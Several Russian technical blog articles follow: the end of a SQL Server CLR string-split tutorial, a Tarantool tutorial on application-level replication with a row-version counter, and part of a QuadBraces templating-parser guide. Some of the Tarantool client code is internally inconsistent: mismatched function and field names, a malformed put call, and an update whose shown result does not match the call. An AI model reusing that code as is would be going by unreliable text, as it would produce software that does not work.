>
> value = keyValuePair.Value;
>
> }
>
> }`
Скомпилируем модуль:
> `%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library c:\SplitString.cs`
На выходе получаем SplitString.dll
Теперь, необходимо разрешить использование CLR в SQL Server.
> `sp\_configure 'clr enabled', 1
>
> go
>
> reconfigure
>
> go`
Все, можно подключать модуль.
> `CREATE ASSEMBLY CLRFunctions FROM 'C:\SplitString.dll'
>
> go`
И создавать пользовательскую функцию.
> `CREATE FUNCTION [dbo].SplitStringCLR(@text [nvarchar](max), @delimiter [nchar](1))
>
> RETURNS TABLE (
>
> part nvarchar(max),
>
> ID\_ODER int
>
> ) WITH EXECUTE AS CALLER
>
> AS
>
> EXTERNAL NAME CLRFunctions.UserDefinedFunctions.SplitString`
### Дополнительно о CLR
1. Сборка загружается на сервер и хранится там. Функции, которые ссылаются на сборку уже хранятся в базе. Поэтому нужно, чтобы на сервере, куда переносится база, сборка была загружена.
2. При создании сборки, если нужно, указывается аргумент PERMISSION\_SET, который определяет разрешения для сборки. Советую посмотреть [MSDN](http://msdn.microsoft.com/ru-ru/library/ms189524.aspx). Вкратце: SAFE — разрешает работать только с базой; EXTERNAL\_ACCESS — разрешает работать с другими серверами, файловой системой и сетевыми ресурсами; UNSAFE — все что угодно, включая WinAPI.
3. Есть особенности при отладке, какие именно, указано в [MSDN](http://msdn.microsoft.com/ru-ru/library/ms165050(en-us,VS.80).aspx).
### Результаты
Для сравнения скорости работы обычной *SplitString* и *SplitStringCLR* я вызвал эти функции 1000 раз с входной строкой, состоящей из 100 разделенных запятой чисел.
Среднее значение времени работы для *SplitString* получилось **6.152** мс, а для *SplitStringCLR* **1.936** мс.
Разница более чем в 3 раза.
Надеюсь, это будет кому-нибудь полезно. | https://habr.com/ru/post/88396/ | null | ru | null |
# Высокоуровневая репликация в СУБД Tarantool
Привет, я занимаюсь созданием приложений для СУБД [Tarantool](http://tarantool.io/ru) — это разработанная в Mail.ru Group платформа, совмещающая в себе высокопроизводительную СУБД и сервер приложений на языке Lua. Высокая скорость работы решений, основанных на Tarantool, достигается в частности за счет поддержки in-memory режима СУБД и возможности выполнения бизнес-логики приложения в едином адресном пространстве с данными. При этом обеспечивается персистентность данных с использованием ACID-транзакций (на диске ведется WAL-журнал). В Tarantool имеется встроенная поддержка репликации и шардирования. Начиная с версии 2.1, поддерживаются запросы на языке SQL. Tarantool имеет открытый исходный код и распространяется под лицензией Simplified BSD. Также имеется коммерческая Enterprise-версия.
*Feel the power! (...aka enjoy the performance)*
Все перечисленное делает Tarantool привлекательной платформой для создания высоконагруженных приложений, работающих с БД. В таких приложениях часто возникает необходимость репликации данных.
Как было сказано выше, в Tarantool есть встроенная репликация данных. Принцип ее работы заключается в последовательном выполнении на репликах всех транзакций, содержащихся в журнале мастера (WAL). Обычно такая репликация (будем далее называть ее *низкоуровневой*) используется для обеспечения отказоустойчивости приложения и/или для распределения нагрузки на чтение между нодами кластера.
*Рис. 1. Репликация внутри кластера*
Примером альтернативного сценария может служить передача данных, созданных в одной БД, в другую БД для обработки/мониторинга. В последнем случае более удобным решением может оказаться использование *высокоуровневой* репликации — репликации данных на уровне бизнес-логики приложения. Т.е. мы не используем готовое решение, встроенное в СУБД, а своими силами реализуем репликацию внутри разрабатываемого нами приложения. У такого подхода есть как преимущества, так и недостатки. Перечислим плюсы.
1. Экономия трафика:
* можно передавать не все данные, а только их часть (например, можно передавать только некоторые таблицы, некоторые их столбцы или записи, соответствующие определенному критерию);
* в отличие от низкоуровневой репликации, которая выполняется непрерывно в асинхронном (реализовано в текущей версии Tarantool — 1.10) или синхронном (будет реализовано в последующих версиях Tarantool) режиме, высокоуровневую репликацию можно выполнять сеансами (т.е. приложение сначала выполняет синхронизацию данных — сеанс обмена данными, затем наступает пауза в репликации, после которой происходит следующий сеанс обмена и т.д.);
* если запись изменилась несколько раз, можно передать только ее последнюю версию (в отличие от низкоуровневой репликации, при которой на репликах будут последовательно проиграны все изменения, сделанные на мастере).
2. Отсутствуют сложности с реализацией обмена по HTTP, что позволяет синхронизировать удаленные БД.
*Рис. 2. Репликация по HTTP*
3. Структуры БД, между которыми передаются данные, не обязаны быть одинаковыми (более того, в общем случае возможно даже использование разных СУБД, языков программирования, платформ и т.п.).
*Рис. 3. Репликация в гетерогенных системах*
Минус заключается в том, что в среднем программирование сложнее/затратнее, чем конфигурирование, и вместо настройки встроенного функционала придется реализовывать свой собственный.
Если в вашей ситуации приведенные плюсы играют решающее значение (или являются необходимым условием), то имеет смысл использовать высокоуровневую репликацию. Рассмотрим несколько способов реализации высокоуровневой репликации данных в СУБД Tarantool.
Минимизация трафика
-------------------
Итак, одним из преимуществ высокоуровневой репликации является экономия трафика. Для того чтобы это преимущество проявилось в полной мере, необходимо минимизировать количество данных, передаваемых при каждом сеансе обмена. Разумеется, при этом не стоит забывать о том, что в конце сеанса приемник данных должен быть синхронизирован с источником (как минимум по той части данных, которая участвует в репликации).
Как же минимизировать количество данных, передаваемых при высокоуровневой репликации? Решением «в лоб» может быть отбор данных по дате-времени. Для этого можно использовать уже имеющееся в таблице поле даты-времени (если оно есть). Например, у документа «заказ» может быть поле «требуемое время исполнения заказа» — `delivery_time`. Проблема такого решения заключается в том, что значения в этом поле не обязаны располагаться в последовательности, соответствующей созданию заказов. Таким образом, мы не можем запомнить максимальное значение поля `delivery_time`, переданное при предыдущем сеанса обмена, и при следующем сеансе обмена отобрать все записи с более высоким значением поля `delivery_time`. В промежутке между сеансами обмена могли добавиться записи с меньшим значением поля `delivery_time`. Также заказ мог претерпеть изменения, которые тем не менее не затронули поле `delivery_time`. В обоих случаях изменения не будут переданы с источника в приемник. Для решения этих проблем нам потребуется передавать данные «внахлест». Т.е. при каждом сеансе обмена мы будем передавать все данные со значением поля `delivery_time`, превышающим некоторый момент в прошлом (например, N часов от текущего момента). Однако очевидно, что для крупных систем такой подход является сильно избыточным и может свести экономию трафика, к которой мы стремимся, на нет. Кроме того, в передаваемой таблице может не быть поля, связанного с датой-временем.
Другое решение, более сложное с точки зрения реализации, заключается в подтверждении получения данных. В этом случае при каждом сеансе обмена передаются все данные, получение которых не подтверждено получателем. Для реализации потребуется добавить в таблицу-источник булевскую колонку (например, `is_transferred`). Если приемник подтверждает получение записи, соответствующее поле принимает значение `true`, после чего запись более не участвует в обменах. Такой вариант реализации имеет следующие минусы. Во-первых, для каждой переданной записи необходимо сгенерировать и отправить подтверждение. Грубо говоря, это может быть сопоставимо с удвоением количества передаваемых данных и привести к удвоению количества раундтрипов. Во-вторых, отсутствует возможность отправки одной и той же записи в несколько приемников (первый получивший приемник подтвердит получение за себя и за всех остальных).
Способ, лишенный недостатков, приведенных выше, состоит в добавлении в передаваемую таблицу колонки для отслеживания изменений ее строк. Такая колонка может иметь тип дата-время и должна задаваться/обновляться приложением на текущее время каждый раз при добавлении/изменении записей (атомарно с добавлением/изменением). В качестве примера назовем колонку `update_time`. Сохранив максимальное значение поля этой колонки для переданных записей, мы сможем начать следующий сеанс обмена с этого значения (отобрать записи со значением поля `update_time`, превышающим сохраненное ранее значение). Проблема, связанная с последним подходом, заключается в том, что изменения данных могут происходить в пакетном режиме. В результате значения полей в колонке `update_time` могут быть не уникальными. Таким образом, эта колонка не может быть использована для порционной (постраничной) выдачи данных. Для постраничной выдачи данных придется изобретать дополнительные механизмы, которые, скорее всего, будут иметь очень низкую эффективность (например, извлечение из БД всех записей со значением `update_time` выше заданного и выдача определенного количества записей, начиная с некоторого смещения от начала выборки).
Можно повысить эффективность передачи данных, немного усовершенствовав предыдущий подход. Для этого в качестве значений полей колонки для отслеживания изменений будем использовать целочисленный тип (длинное целое). Назовем колонку `row_ver`. Значение поля этой колонки по-прежнему должно задаваться/обновляться каждый раз при создании/изменении записи. Но в данном случае полю будет присваиваться не текущее дата-время, а значение некоторого счетчика, увеличенного на единицу. В результате колонка `row_ver` будет содержать уникальные значения и сможет быть использована не только для выдачи «дельты» данных (данных, добавившихся/изменившихся после завершения предыдущего сеанса обмена), но и для простой и эффективной разбивки их на страницы.
Последний предложенный способ минимизации количества данных, передаваемых в рамках высокоуровневой репликации, представляется мне наиболее оптимальным и универсальным. Остановимся на нем подробнее.
Передача данных с использованием счетчика версий строк
------------------------------------------------------
#### Реализация серверной/master части
В MS SQL Server для реализации подобного подхода существует специальный тип колонки — `rowversion`. Каждая БД имеет счетчик, который увеличивается на единицу каждый раз при добавлении/изменении записи в таблице, имеющей колонку типа `rowversion`. Значение этого счетчика автоматически присваивается полю этой колонки в добавившейся/изменившейся записи. СУБД Tarantool не имеет аналогичного встроенного механизма. Однако в Tarantool его несложно реализовать вручную. Рассмотрим, как это делается.
Для начала немного терминологии: таблицы в Tarantool называются спейсами (space), а записи — кортежами (tuple). В Tarantool можно создавать последовательности (sequence). Последовательности представляют из себя не что иное, как именованные генераторы упорядоченных значений целых чисел. Т.е. это как раз то, что нужно для наших целей. Ниже мы создадим такую последовательность.
Прежде чем выполнить какую-либо операцию с базой данных в Tarantool, необходимо выполнить следующую команду:
```
box.cfg{}
```
В результате Tarantool начнет записывать в текущий каталог снимки БД (snapshot) и журнал транзакций.
Создадим последовательность `row_version`:
```
box.schema.sequence.create('row_version',
{ if_not_exists = true })
```
Опция `if_not_exists` позволяет выполнять скрипт создания многократно: если объект существует, Tarantool не будет пытаться создать его повторно. Эта опция будет использоваться во всех последующих DDL-командах.
Создадим спейс для примера.
```
box.schema.space.create('goods', {
format = {
{
name = 'id',
type = 'unsigned'
},
{
name = 'name',
type = 'string'
},
{
name = 'code',
type = 'unsigned'
},
{
name = 'row_ver',
type = 'unsigned'
}
},
if_not_exists = true
})
```
Здесь мы задали имя спейса (`goods`), имена полей и их типы.
Автоинкрементные поля в Tarantool создаются тоже с помощью последовательностей. Создадим автоинкрементный первичный ключ по полю `id`:
```
box.schema.sequence.create('goods_id',
{ if_not_exists = true })
box.space.goods:create_index('primary', {
parts = { 'id' },
sequence = 'goods_id',
unique = true,
type = 'HASH',
if_not_exists = true
})
```
Tarantool поддерживает несколько типов индексов. Чаще всего используются индексы типов TREE и HASH, в основе которых лежат соответствующие наименованию структуры. TREE — наиболее универсальный тип индекса. Он позволяет извлекать данные в упорядоченном виде. Но для выбора по равенству больше подходит HASH. Соответственно, для первичного ключа целесообразно использовать HASH (что мы и сделали).
Чтобы использовать колонку `row_ver` для передачи изменившихся данных, необходимо привязать к полям этой колонки значения последовательности `row_ver`. Но в отличии от первичного ключа, значение поля колонки `row_ver` должно увеличиваться на единицу не только при добавлении новых записей, но и при изменении существующих. Для этого можно использовать триггеры. В Tarantool есть два типа триггеров для спейсов: `before_replace` и `on_replace`. Триггеры запускаются при каждом изменении данных в спейсе (для каждого кортежа, затронутого изменениями, запускается функция триггера). В отличие от `on_replace`, `before_replace`-триггеры позволяют модифицировать данные кортежа, для которого выполняется триггер. Соответственно, нам подходит последний тип триггеров.
```
box.space.goods:before_replace(function(old, new)
return box.tuple.new({new[1], new[2], new[3],
box.sequence.row_version:next()})
end)
```
Приведенный триггер заменяет значение поля `row_ver` сохраняемого кортежа на очередное значение последовательности `row_version`.
Для того чтобы можно было извлекать данные из спейса `goods` по колонке `row_ver`, создадим индекс:
```
box.space.goods:create_index('row_ver', {
parts = { 'row_ver' },
unique = true,
type = 'TREE',
if_not_exists = true
})
```
Тип индекса — дерево (`TREE`), т.к. данные нам потребуется извлекать в порядке возрастания значений в колонке `row_ver`.
Добавим в спейс некоторые данные:
```
box.space.goods:insert{nil, 'pen', 123}
box.space.goods:insert{nil, 'pencil', 321}
box.space.goods:insert{nil, 'brush', 100}
box.space.goods:insert{nil, 'watercolour', 456}
box.space.goods:insert{nil, 'album', 101}
box.space.goods:insert{nil, 'notebook', 800}
box.space.goods:insert{nil, 'rubber', 531}
box.space.goods:insert{nil, 'ruler', 135}
```
Т.к. первое поле — автоинкрементный счетчик, передаем вместо него nil. Tarantool автоматически подставит очередное значение. Аналогичным образом в качестве значения полей колонки `row_ver` можно передать nil — или не указывать значение вообще, т.к. эта колонка занимает последнюю позицию в спейсе.
Проверим результат вставки:
```
tarantool> box.space.goods:select()
---
- - [1, 'pen', 123, 1]
- [2, 'pencil', 321, 2]
- [3, 'brush', 100, 3]
- [4, 'watercolour', 456, 4]
- [5, 'album', 101, 5]
- [6, 'notebook', 800, 6]
- [7, 'rubber', 531, 7]
- [8, 'ruler', 135, 8]
...
```
Как видим, первое и последнее поле заполнились автоматически. Теперь будет несложно написать функцию для постраничной выгрузки изменений спейса `goods`:
```
local page_size = 5
local function get_goods(row_ver)
local index = box.space.goods.index.row_ver
local goods = {}
local counter = 0
for _, tuple in index:pairs(row_ver, { iterator = 'GT' }) do
local obj = tuple:tomap({ names_only = true })
table.insert(goods, obj)
counter = counter + 1
if counter >= page_size then
break
end
end
return goods
end
```
Функция принимает в качестве параметра значение `row_ver` последней полученной записи (0 для первого вызова) и возвращает очередную порцию изменившихся данных (если она есть, иначе пустой массив).
Выборка данных в Tarantool производится через индексы. Функция `get_goods` использует итератор по индексу `row_ver` для получения изменившихся данных. Тип итератора — GT (Greater Than, больше чем). Это означает, что итератор будет осуществлять последовательный обход значений индекса, начиная со следующего после переданного ключа значения.
Итератор возвращает кортежи. Чтобы впоследствии иметь возможность передать данные по HTTP, необходимо выполнить преобразование кортежей к структуре, удобной для последующей сериализации. В примере для этого используется стандартная функция `tomap`. Вместо использования `tomap` можно написать собственную функцию. Например, мы можем захотеть переименовать поле `name`, не передавать поле `code` и добавить поле `comment`:
```
local function unflatten_goods(tuple)
local obj = {}
obj.id = tuple.id
obj.goods_name = tuple.name
obj.comment = 'some comment'
obj.row_ver = tuple.row_ver
return obj
end
```
Размер страницы выдаваемых данных (количество записей в одной порции) определяется переменной `page_size`. В примере значение `page_size` равно 5. В реальной программе размер страницы обычно имеет большее значение. Он зависит от среднего размера кортежа спейса. Оптимальный размер страницы можно подобрать опытным путем, замеряя время передачи данных. Чем больше размер страницы, тем меньше количество раундтрипов между передающей и принимающей стороной. Так можно уменьшить общее время выгрузки изменений. Однако при слишком большом размере страницы мы будем слишком долго занимать сервер сериализацией выборки. В результате могут возникнуть задержки при обработке других запросов, пришедших на сервер. Параметр `page_size` можно загрузить из конфигурационного файла. Для каждого передаваемого спейса можно задать свое значение. При этом для большинства спейсов может подойти значение по умолчанию (например, 100).
Поместим функцию `get_goods` в модуль. Создадим файл repl.lua содержащий описание переменной `page_size` и функции `get_goods`. В конце файла добавим экспорт функции:
```
return {
get_goods = get_goods
}
```
Чтобы загрузить модуль выполним:
```
tarantool> repl = require('repl')
---
...
```
Выполним функцию `get_goods`:
```
tarantool> repl.get_goods(0)
---
- - row_ver: 1
code: 123
name: pen
id: 1
- row_ver: 2
code: 321
name: pencil
id: 2
- row_ver: 3
code: 100
name: brush
id: 3
- row_ver: 4
code: 456
name: watercolour
id: 4
- row_ver: 5
code: 101
name: album
id: 5
...
```
Возьмем значение поля `row_ver` из последней строки и вновь вызовем функцию:
```
tarantool> repl.get_goods(5)
---
- - row_ver: 6
code: 800
name: notebook
id: 6
- row_ver: 7
code: 531
name: rubber
id: 7
- row_ver: 8
code: 135
name: ruler
id: 8
...
```
И еще раз:
```
tarantool> repl.get_goods(8)
---
- []
...
```
Как видим, при таком использовании функция постранично возвращает все записи спейса `goods`. За последней страницей следует пустая выборка.
Внесем изменения в спейс:
```
box.space.goods:update(4, {{'=', 6, 'copybook'}})
box.space.goods:insert{nil, 'clip', 234}
box.space.goods:insert{nil, 'folder', 432}
```
Мы изменили значение поля `name` для одной записи и добавили две новых записи.
Повторим последний вызов функции:
```
tarantool> repl.get_goods(8)
---
- - row_ver: 9
code: 800
name: copybook
id: 6
- row_ver: 10
code: 234
name: clip
id: 9
- row_ver: 11
code: 432
name: folder
id: 10
...
```
Функция вернула изменившуюся и добавившиеся записи. Таким образом, функция `get_goods` позволяет получать данные, изменившиеся с момента ее последнего вызова, что и является основой рассматриваемого способа репликации.
Оставим выдачу результатов по HTTP в виде JSON за рамками настоящей статьи. Об этом можно прочитать здесь: <https://habr.com/ru/company/mailru/blog/272141/>
#### Реализация клиентской/slave части
Рассмотрим, как выглядит реализация принимающей стороны. Создадим на принимающей стороне спейс для хранения загруженных данных:
```
box.schema.space.create('goods', {
format = {
{
name = 'id',
type = 'unsigned'
},
{
name = 'name',
type = 'string'
},
{
name = 'code',
type = 'unsigned'
}
},
if_not_exists = true
})
box.space.goods:create_index('primary', {
parts = { 'id' },
sequence = 'goods_id',
unique = true,
type = 'HASH',
if_not_exists = true
})
```
Структура спейса напоминает структуру спейса в источнике. Но поскольку мы не собираемся передавать полученные данные куда-либо еще, колонка `row_ver` в спейсе получателя отсутствует. В поле `id` будут записываться идентификаторы источника. Поэтому на стороне приемника нет необходимости делать его автоинкрементным.
Кроме этого, нам потребуется спейс для сохранения значений `row_ver`:
```
box.schema.space.create('row_ver', {
format = {
{
name = 'space_name',
type = 'string'
},
{
name = 'value',
type = 'string'
}
},
if_not_exists = true
})
box.space.row_ver:create_index('primary', {
parts = { 'space_name' },
unique = true,
type = 'HASH',
if_not_exists = true
})
```
Для каждого загружаемого спейса (поле `space_name`) будем сохранять здесь последнее загруженное значение `row_ver` (поле `value`). В качестве первичного ключа выступает колонка `space_name`.
Создадим функцию для загрузки данных спейса `goods` по HTTP. Для этого нам потребуется библиотека, реализующая HTTP-клиент. Следующая строка загружает библиотеку и создает экземпляр HTTP-клиента:
```
local http_client = require('http.client').new()
```
Также нам потребуется библиотека для десериализации json:
```
local json = require('json')
```
Этого достаточно для создания функции загрузки данных:
```
local function load_data(url, row_ver)
local url = ('%s?rowVer=%s'):format(url,
tostring(row_ver))
local body = nil
local data = http_client:request('GET', url, body, {
keepalive_idle = 1,
keepalive_interval = 1
})
return json.decode(data.body)
end
```
Функция выполняет HTTP-запрос по адресу url, передает в него `row_ver` в качестве параметра и возвращает десериализованный результат запроса.
Функция сохранения полученных данных выглядит следующим образом:
```
local function save_goods(goods)
local n = #goods
box.atomic(function()
for i = 1, n do
local obj = goods[i]
box.space.goods:put(
obj.id, obj.name, obj.code)
end
end)
end
```
Цикл сохранения данных в спейс `goods` помещен в транзакцию (для этого используется функция `box.atomic`) для уменьшения количества операций с диском.
Наконец, функцию синхронизации локального спейса `goods` с источником можно реализовать так:
```
local function sync_goods()
local tuple = box.space.row_ver:get('goods')
local row_ver = tuple and tuple.value or 0
-- set your url here:
local url = 'http://127.0.0.1:81/test/goods/list'
while true do
local goods = load_goods(url, row_ver)
local count = #goods
if count == 0 then
return
end
save_goods(goods)
row_ver = goods[count].rowVer
box.space.row_ver:put({'goods', row_ver})
end
end
```
Сначала считываем сохраненное ранее значение `row_ver` для спейса `goods`. Если оно отсутствует (первый сеанс обмена), то берем в качестве `row_ver` ноль. Далее в цикле производим постраничную загрузку измененных данных из источника по указанному url. На каждой итерации сохраняем полученные данные в соответствующий локальный спейс и обновляем значение `row_ver` (в спейсе `row_ver` и в переменной `row_ver`) — берем значение `row_ver` из последней строки загруженных данных.
Для защиты от случайного зацикливания (в случае ошибки в программе) цикл `while` можно заменить на `for`:
```
for _ = 1, max_req do ...
```
В результате выполнения функции `sync_goods` спейс `goods` в приемнике будет содержать последние версии всех записей спейса `goods` в источнике.
Очевидно, что таким способом нельзя транслировать удаление данных. Если такая необходимость существует, можно использовать пометку на удаление. Добавляем в спейс `goods` булевское поле `is_deleted` и вместо физического удаления записи используем логическое удаление — выставляем значение поля `is_deleted` в значение `true`. Иногда вместо булевского поля `is_deleted` удобнее использовать поле `deleted`, в котором хранится дата-время логического удаления записи. После выполнения логического удаления помеченная на удаление запись будет передана из источника в приемник (согласно рассмотренной выше логике).
Последовательность `row_ver` можно использовать для передачи данных других спейсов: нет необходимости в создании отдельной последовательности для каждого передаваемого спейса.
Мы рассмотрели эффективный способ высокоуровневой репликации данных в приложениях, использующих СУБД Tarantool.
Выводы
------
1. СУБД Tarantool — привлекательный, перспективный продукт для создания высоконагруженных приложений.
2. Высокоуровневая репликация обеспечивает более гибкий подход к передаче данных по сравнению с низкоуровневой репликацией.
3. Рассмотренный в статье способ высокоуровневой репликации позволяет минимизировать количество передаваемых данных путем передачи только тех записей, которые изменились после последнего сеанса обмена. | https://habr.com/ru/post/455146/ | null | ru | null |
# QuadBraces III
Доброго всем здравия!
Прошло практически ровно два года с момента моей [первой публикации о парсере QuadBraces](https://habrahabr.ru/post/266865/) — альтернативе MODX Evolution для простейших проектов, требующих шаблонизации. Это могут быть одностраничники с типовыми публикациями, портфолио, сайты-визитки, состоящие из почти статических страниц, и прочее подобное. С тех пор я обновлял свою разработку и незаметно для сообщества дополз до третьей версии. Нынешняя версия парсера QuadBraces содержит столько изменений, что я просто обязан опубликовать подробный туториал. Итак…
Теги
----
Начнём с обработчиков тегов. В QuadBraces 3 обработчики тегов вынесены в отдельные классы. Теперь разработчик волен определять свои типы тегов, не меняя код самого парсера. Для этого необходимо создать потомок класса QuadBracesTagPrototype, где нужно определить следующее:
* **$\_name** — название-идентификатор тега
* **$\_start** — начальная последовательность тега
* **$\_rstart** — начальная последовательность тега для режима синтаксиса MODX Revolution. Без квадратных скобок.
* **$\_finish** — конечная последовательность тега
* **$\_order** — опционально; порядок обработки
* **function main(array $m,$key='')** — функция, возвращающая результат обработки тега. $m — данные PCRE-регулярки, ключ (самое важное) — ключ найденного тега.
На примере обработчика тегов константы:
```
class QuadBracesTagConstant extends QuadBracesTagPrototype {
protected $_name = 'constant';
protected $_start = '\{\*';
protected $_rstart = '\/';
protected $_finish = '\*\}';
protected $_order = 5;
public function main(array $m,$key='') {
$v = '';
if (empty($key) || !defined($key)) {
$this->_error = 'not found';
} else { $v = constant($key); }
return $v;
}
}
```
Ага, точно — всё именно настолько просто. Хотя меня, как программиста старой закалки жутко бесит необходимость хранить файлы микроскопических размеров. Но это уже дело личное, как говорится.
Для тех, кто не читал предыдущую публикацию. Синтаксис тегов QuadBraces един для всех типов тегов:
1. Начальная последовательность символов. Например, "{{".
2. Идентификатор сущности. Должен состоять из латиницы, цифр, «бревна», тире и/или точки. Например, «my-chunk». Обратите внимание! Точка в идентификаторе играет роль разделителя уровня вложенности. То есть, забегая вперёд, например, переменная «my.var» будет располагаться по факту здесь — $parser->data['my']['var']. О чанках, сниппетах и шаблонах — ниже.
3. Некоторое количество расширений-обработчиков (опционально). Каждое представляет собой конструкцию вида ": некий\_идентификатор" или ": некий\_идентификатор=`некие\_данные`" (без пробела между двоеточием и идентификатором). Расширения-обработчики работают с конечным результатом обработки тега. То есть, например, получили мы переменную, содержащую номер телефона, а потом отформатировали её для человекопонятности.
4. Для совместимости с синтаксисом MODX далее может следовать знак вопроса.
5. Некое количество аргументов (опционально). Каждый аргумент — конструкция вида "&некое\_имя=`некое\_значение`". Да, аргументы могут быть даже у переменных. Да, они работают. В большинстве случаев переданное в аргументах используется в локальных плейсхолдерах.
6. Конечная последовательность символов. Например, "}}".
В третьей версии парсера, как вы уже, наверное, поняли, есть режим синтаксиса MODX Revolution. В этом режиме теги начинаются с двух открывающих квадратных скобок, далее следует некий символ, который и определяет тип тега. А закрывается тег всегда двумя закрывающими квадратными скобками.
Пример тега некоего чанка:
```
{{news-item? &title=`Мухи съели мера города` &date=`15-09-17` &url=`/news/150917.html`}}
```
Если в чанке будет:
```
### [+title+]
[+date+]
[Читать далее]([+url+])
```
Тогда в итоге на месте чанка будет выведено:
```
### Мухи съели мера города
15-09-17
[Читать далее](/news/150917.html)
```
*Кстати, о мухах. Не они ли скушали пункт HTML из меню «исходный код» редактора на нашем Уютненьком?*
Из коробки QuadBraces поддерживает следующие виды тегов (указаны начальная и конечная последовательности для двух режимов):
* **[+ +]** или **[[+ ]]** — **Локальные переменные**. В большинстве случаев используются для переменных сниппетов, в циклах. При установке аргументов любого элемента, кроме сниппетов, локальные плейсхолдеры элемента заменяются значениями из аргументов.
* **{{ }}** или **[[$ ]]** — **Чанки**. Куски HTML-кода. В одном файле содержится один чанк. Один из основных элементов шаблонизации.
* **{[ ]}** или **[[- ]]** — **Однострочные библиотечные чанки**. Куски HTML-кода. В одном файле содержится несколько чанков. На каждой строке располагается один чанк.
* **{( )}** или **[[= ]]** — **Многострочные библиотечные чанки**. Куски HTML-кода. В одном файле содержится несколько чанков. Чанки разделяются конструкцией: ""
* **{\* \*}** или **[[/ ]]** — **Константы PHP**. Выводят определённые в системе (в т.ч. пользователем) константы PHP.
* **[( )]** или **[[++ ]]** — **Настройки**. Переменные из массива SETTINGS. Обычно служат для вывода переменных CMS, использующей парсер.
* **[\* \*]** или **[[\* ]]** — **Переменные**. Переменные парсера. Один из основных элементов шаблонизации.
* **[^ ^]** или **[[^ ]]** — **Отладочные данные**. Отладочные данные парсера.
* **[% %]** или **[[% ]]** — **Языковые переменные**. Словарно-языковые переменные. Заменяются в зависимости от текущего языка при включённой языковой системе.
* **[! !]** или **[[! ]]** — **Сниппеты**. По сути куски PHP-кода.
* **[[ ]]** или **[[ ]]** — **Сниппеты с флагом кеширования**. То же, что и выше, только с установленным флагом кеширования. Грубо говоря в функцию execute парсера передаётся аргумент $cached со значением true.
* **[~ ~]** или **[[~ ]]** — **Ссылки из идентификаторов ресурсов**. Превращают помещённое внутрь число в ссылку на ресурс. О ресурсах ниже.
* **[: :]** или **[[: ]]** — **Кастомные обработчики переменных**. О них отдельно.
В нынешней версии парсера есть возможность впихнуть в объект парсера набор т.н. ресурсов. По сути это примерно то же самое, что и ресурсы в MODX. Грубо говоря в базе данных конечного проекта хранится таблица, в которой хранятся записи с постами для блога. Главное — помнить, что каждая запись должна содержать численный ID, ID родителя или NULL и псевдоним для создания URL'а. При установке свойства resources объекта парсера устанавливается свойство idx объекта парсера. Оно представляет собой индекс ветвей дерева ресурсов. Это позволяет работать со структурой конечного набора ресурсов. Собственно, со всей этой ~~фигнёй~~ функциональностью и работает тег ссылок.
Кастомные обработчики переменных — это эдакие микропарсеры, произвольно обрабатывающие переменные парсера. Например, если в некоей переменной парсера (назовём её, скажем, top-menu) содержится массив с URL'ами вида:
```
array(
array('url' => '/','title' => 'Глагне'),
array('url' => '/about.html','title' => 'О сайте'),
array(
'url' => '/news/','title' => 'Новости','children' => array(
array('url' => '/news/10-09-17.html','title' => 'Мухи прилетели в город'),
array('url' => '/news/15-09-17.html','title' => 'Мухи съели мера города')
)
),
array('url' => '/contacts.html','title' => 'Контакты'),
);
```
Из него можно сделать меню. Для этого достаточно поместить в нужном месте конструкцию:
```
[:menu@top-menu:]
```
На её месте будет выведено меню при помощи маркированных списков. В лучших традициях Wayfinder'а, так сказать.
Вообще по кастомным обработчикам, думаю, нужно будет написать отдельную статью.
Отдельно про одну важную фишку шаблонов, а именно про метаполя. Едва ли не с первой версии существует возможность в коде шаблонов устанавливать метаполя. Оные по сути представляют собой переменные, определяемые в самом шаблоне вот такой конструкцией:
Аргументы — примерно то же самое, что и в тегах парсера. Вне зависимости от того, какие аргументы будут указаны в поле, конечное поле будет содержать три атрибута:
* default (текст) — значение по умолчанию
* type (целое число) — тип
* caption (строка) — заголовок
Все метаполя будут доступны через свойство fields парсера.
Не менее важной фишкой являются метазначения. Представим себе, что у нас в парсере определена переменная somevar. Метазначение в установленном шаблоне может переопределить текущее значение переменной. Метазначения определяются конструкцией:
При установке шаблона и то, и другое удаляется из конечного кода шаблона.
API класса
----------
### Свойства класса (наиболее важные)
:
* **owner** (объект) — объект-владелец (только чтение; установка при инициализации);
* **paths** (массив) — пути шаблонов; можно устанавливать массивом, можно строкой, где через запятую перечислены пути;
* **fields** (массив) — поля шаблона (только чтение);
* **data** (массив) — переменные парсера;
* **settings** (массив) — «настройки»;
* **debug** (массив) — отладочные данные;
* **language** (строка) — текущий язык; сигнатура согласно общепринятым стандартам;
* **loadLanguage** (флаг) — автозагрузка языка (по умолчанию false);
* **dictionary** (массив) — текущий словарь; можно устанавливать raw-текстом, разделённым на строки;
* **maxLevel** (целое число) — максимальный уровень вложенности (по умолчанию 32);
* **level** (целое число) — текущий уровень;
* **notice** (массив) — уровень уведомлений; понимает значения «strict» — все элементы, «common» (по умолчанию) — чанки и сниппеты.
* **template** (текст) — шаблон; при установке указывать название, возвращает содержимое;
* **templateName** (строка) — название текущего шаблона (только чтение);
* **autoTemplate** (флаг) — флаг автоматического извлечения и установки шаблона из устанавливаемого содержимого; грубо говоря, если со включённым флагом скормить парсеру контент с метаполем template, парсер автоматически установит шаблон (по умолчанию false);
* **content** (текст) — содержимое; вообще по сути переменная под названием «content»;
* **resources** (массив) — массив ресурсов;
* **idx** (массив) — индекс ветвей дерева ресурса (только чтение);
* **SEOStrict** (флаг) — соответствие стандартам SEOStrict (по умолчанию false);
* **MODXRevoMode** (флаг) — переключение в режим синтаксиса MODX Revolution (по умолчанию false);
### Методы
:
* **registerTag(QuadBracesTagPrototype $o)** — регистрация тега; на вход принимает инициализированный тег; возвращает зарегистрированный тег;
* **parseStart($m)** — начало обработки; на вход принимает данные от функции preg\_match\_callback; возвращает ключ элемента;
* **parseFinish($m,$t,$k,$v)** — конец обработки; на вход принимает данные от регулярки, тип тега, ключ тега, текущее значение обработки; возвращает обработанный результат;
* **setting($key,$value=null)** — чтение/запись настройки; при значении null производится чтение;
* **variable($key,$value=null)** — чтение/запись переменной; при значении null производится чтение;
* **search($type,$name)** — поиск файла элемента; учитывает локализацию; возвращает имя найденного файла;
* **setTemplate($v)** — установка шаблона по имени; очень нужный метод при работе с callback'ами установки шаблона;
* **getChunk($key,$type='chunk')** — получение содержимого чанка; возвращает содержимое найденного чанка или false;
* **execute($name,$args=array(),$input='',$cached=false)** — выполнение сниппета или расширения; на вход принимает имя сниппета, аргументы, входной текст и флаг кеширования; возвращает результат обработки;
